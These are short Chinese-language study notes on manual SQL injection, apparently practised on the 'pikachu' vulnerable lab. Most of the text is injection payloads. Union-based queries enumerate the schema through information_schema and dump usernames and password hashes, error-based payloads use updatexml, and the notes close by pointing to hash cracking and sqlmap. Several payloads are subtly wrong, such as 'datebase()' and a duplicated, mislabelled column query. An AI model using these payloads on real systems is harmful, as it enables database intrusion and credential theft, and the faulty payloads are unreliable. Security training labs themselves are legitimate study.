Sql语句:
select database(); //获取数据库名称
select user();//获取用户名
select version(); //获取版本
基于union的信息获取
union联合查询:通过联合查询来寻找指定数据
ps:select username,password from user where id=1 **union** select 字段1,字段2 from 表名
payload:xx' union select database(),user()#
order by是用来写在where之后,给多个字段来排序的一个SQL查询语句
提示5个字段不可用,故我们往下测试
当用2来测试时,发现命令可以提交到后台,说明我们的查询语句中是有2个字段的
此时我们可查询数据库的各种信息,例如版本等等
Information_schema注入
information_schma可以查到你的所有的搭建的数据库名、表名和列的数据类型,在一切条件未知的情况下,存在注入点的话我们可以直接尝试对information_schema进行访问,从而获得更多的信息。
获取数据库名:
xxx’union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
获取表名:
xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
获取列:
xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
获取密码:
xxx’union select username,password from users#
得到了密码后就可以去MD5解密了
基于函数的报错注入
1.updatexml()
x’ and updatexml(1,concat(0x7e,version()),0)# //0x7e是波浪号的十六进制
x’ and updatexml(1,concat(0x7e,datebase()),0)#
查版本
查名称
more:
由此可获得数据库的名称
extractvalue()
extractvalue和updatexml的效果是一样的
手注练习后,就可以安装sqlmap来进行自动测试了